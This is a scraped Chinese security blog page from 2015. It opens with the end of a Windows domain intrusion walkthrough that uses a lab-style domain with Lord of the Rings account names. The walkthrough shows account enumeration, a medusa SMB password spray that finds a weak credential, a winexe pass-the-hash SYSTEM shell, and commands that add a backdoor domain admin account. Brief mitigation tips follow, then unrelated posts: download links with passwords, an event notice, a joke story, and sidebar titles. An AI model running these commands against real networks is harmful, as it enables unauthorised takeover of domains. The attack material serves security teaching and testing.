Account: Administrator Name: Administrator Desc: (null) index: 0x1822 RID: 0xb0a acb: 0x00000414 Account: Frodo Name: Frodo Baggins Desc: (null) index: 0x1bga RID: 0xc0a acb: 0x00080210 Account: Samwise Name: Samwise Gamgee User Desc: (null) index: 0x1dc4 RID: 0xc7a acb: 0x00050210 Account: Stryder Name: Aragorn User Desc: (null) index: 0x1823 RID: 0xb0b acb: 0x00007014 Account: Legolas Name: Legolas Greenleaf Desc: (null) index: 0x1824 RID: 0xb0c acb: 0x00010014 Account: Gimli Name: Gimli son of Glóin Desc: (null) index: 0x1825 RID: 0xb0d acb: 0x00300014 Account: Boromir Name: Boromir son of Denethor II Desc: (null) index: 0x126f RID: 0x9eb acb: 0x00004014 Account: Gandalf Name: Gandalf the Gray Desc: (null) index: 0x1826 RID: 0xb0e acb: 0x00020015 Account: gollum Name: gollum Desc: (null) …snip… ~/work/targets/192.168.1.90# cat enum-192.168.1.90 .txt | grep "Domain Admins" Group 'Administrators' (RID: 544) has member: MIRKWOOD\Domain Admins Group:[Domain Admins] rid:[0x200] Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Gandalf Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Stryder Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Administrator Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \gollum Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Saruman S-1-5-21-8675309254-522963170-1866889882-512 MIRKWOOD \Domain Admins (Domain Group) S-1-5-21-1897573695-8675309227-1212564242-512 MORDOR\Domain Admins (Domain Group) ~/work/nmap/# medusa -M smbnt -H smb -u gollum -p gollum -m GROUP:DOMAIN | tee smb-gollum.medusa ACCOUNT CHECK: [smbnt] Host: 192.168.1.1 (1 of 62, 0 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.1 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)] ACCOUNT CHECK: [smbnt] Host: 192.168.1.100 (2 of 62, 1 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.100 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)] ACCOUNT CHECK: [smbnt] Host: 192.168.1.105 (3 of 62, 2 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.105 User: gollum Password: gollum [SUCCESS] ACCOUNT CHECK: [smbnt] Host: 192.168.1.106 (4 of 62, 3 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.106 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)] ACCOUNT CHECK: [smbnt] Host: 192.168.1.107 (5 of 62, 4 complete) User: ssadmin (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.107 User: gollum Password: gollum [SUCCESS] ACCOUNT CHECK: [smbnt] Host: 192.168.1.11 (7 of 62, 6 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.11 User: gollum Password: gollum [SUCCESS] …snip… ~/work/nmap# ~/SpiderLabs/winexe-PTH -U MIRKWOOD\\gollum%gollum --uninstall --system //192.168.1.106 cmd.exe Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\ WINDOWS\system32>whoami whoami MIRKWOOD\gollum C:\WINDOWS\system32>> net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully. C:\WINDOWS\system32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully.
修补方法:[真心不希望管理员看到]

1.少用XP/win2k吧,否则为了某些兼容性,很少能全面禁止Netbios and LLMNR Name Poisoning

2.从知名站点下载软件安装程序,更换软件自带的默认口令

3.勤劳打全系统补丁

4.做好账户审核

5.禁止空会话,关键服务器,做好VLAN划分

作者: 纯情 · 2015-10-30

链接:http://pan.baidu.com/share/link?shareid=2828565115&uk=3325186542
密码:ud9r
赠品：链接:http://pan.baidu.com/share/link?shareid=2831718425&uk=3325186542
密码:tjwv[caption id="attachment_607" align="aligncenter" width="1393"] 百度网盘资源[/caption]

作者: 纯情 · 2015-10-14

各位可爱的小伙伴们，乌云众测要去上海溜达一圈啦~

10月16日（也就是后天），@zeracker 三哥将带着乌云的小伙伴参加安全牛第二届网络空间安全论坛“狙击金融安全新风险”【10.16上海站】，会上，小伙伴还将献上《众测如何助力金融安全》的演讲，欢迎各位踊跃来面基捧场（小龙虾嗨起来！~）

会议时间：2015年10月16日 13:30 ～ 2015年10月16日 17:00

会议地点：（上海静安）上海宏安瑞士大酒店3楼达沃斯厅

作者: 纯情 · 2015-10-14

这是由小甲鱼录制的全套Python教程，总共97集，分享给大家。

下载地址：链接: http://pan.baidu.com/s/1dDdjpIx 密码: ketw

视频截图：[caption id="attachment_597" align="aligncenter" width="1222"] Python Python[/caption]

作者: 纯情 · 2015-10-14

一次送女友的时候，顺带她的闺蜜，人很好，应该说女友也是人很好类型，非常正经的女孩，可是第一眼看到她闺蜜就莫名其妙的感觉，虽然知道自己这样做不好，还是总盯着人家眼睛看，眼神对视的一刹那，似乎感觉到什么，这一辈子也没这样对一个女孩一见钟情。。。。。。。。。。。
女友闺蜜我也能感受到她也有那种感觉，可是她克制住了，甚至不跟我说话，她觉得这样不好，加了微信后，我更加彷徨了，看到她朋友圈细腻的文字，不做作，不会拍些无脑自拍照和心灵鸡汤，认真的看每一本年，记录每一个地方，我深深的为之着迷，就这样持续了一个月，我还是今天没克制住，去找了她，大雨天，她出来了。。。低着头，不知为何，感觉她哭过。。。
我很想一把把她搂进怀里，又想到自己那个善良可爱的女友，又缩了回去，给了她那只她喜欢的流氓熊，强作对我笑了下，看了我一眼，关上了门，只留下我孤零零的站在门外。
女友那边似乎还不知道这件事，这俩天老找我，我也是爱理不理，心理上很是愧疚。。。。我一个人在雨里走着，，。。。
似乎明白了什么。。
因为雨水打到我的手上。。
我看见了水。。
对啊
水.........
我又水。了一。贴！
我连女朋友都没哪来的JB女朋友闺蜜

作者: 纯情 · 2015-10-10

一周过去了，连个毛消息都没有。日了狗了，也没个私信，

网络那么大，秘密在哪里，各大网站后台地址公布。

multipart/form-data PHP和Java通用的WAF绕过方法

GourdScan分布式被动注入漏洞扫描工具

各种设计软件.注册机.设计素材.网站设计教程.设计建筑站长必备资源

2016年各种设计软件教程大集合【设计狗可以看看有没有你需要的】

七夕送给女友一个私人定制的专属礼物吧

PHP机器猫圈圈助手2.0网站源码

女朋友和你妈同时掉水里

什么是“985工程”？-实用高考填报前指南

数据分析之全球最大的免费WEB托管网站000WEBHOST数据泄漏

【乌云安全中心快报】iOS 1.5 全新新新版本上线

钱宝的活动，免费撸U盘数据线键盘鼠标随身WIFI

《微信营销》2天一夜特训营售价39000（共10课）附PPT文档【无水印版】

[在线/下载][标清]格斗术，摔跤术，跆拳道，散打，太极等

[连续剧] [在线/下载][高清]蜀山战纪一、二季全二十集 12GB 720P 国语中字

《Violent Python》第六章Web Recon with Python (1)中文版(乌云python，英文爱好者翻译）

得到内网域管理员的N种常见方法

dedecms 5.7 织梦建站仿站教程送100套模板 seo技巧

乌云众测在上海#安全牛第二届网络空间安全论坛#

零基础入门学习Python

我喜欢上了女朋友的闺蜜怎么办怎么办

乌云T恤

最新文章

最近回复

分类

归档

其它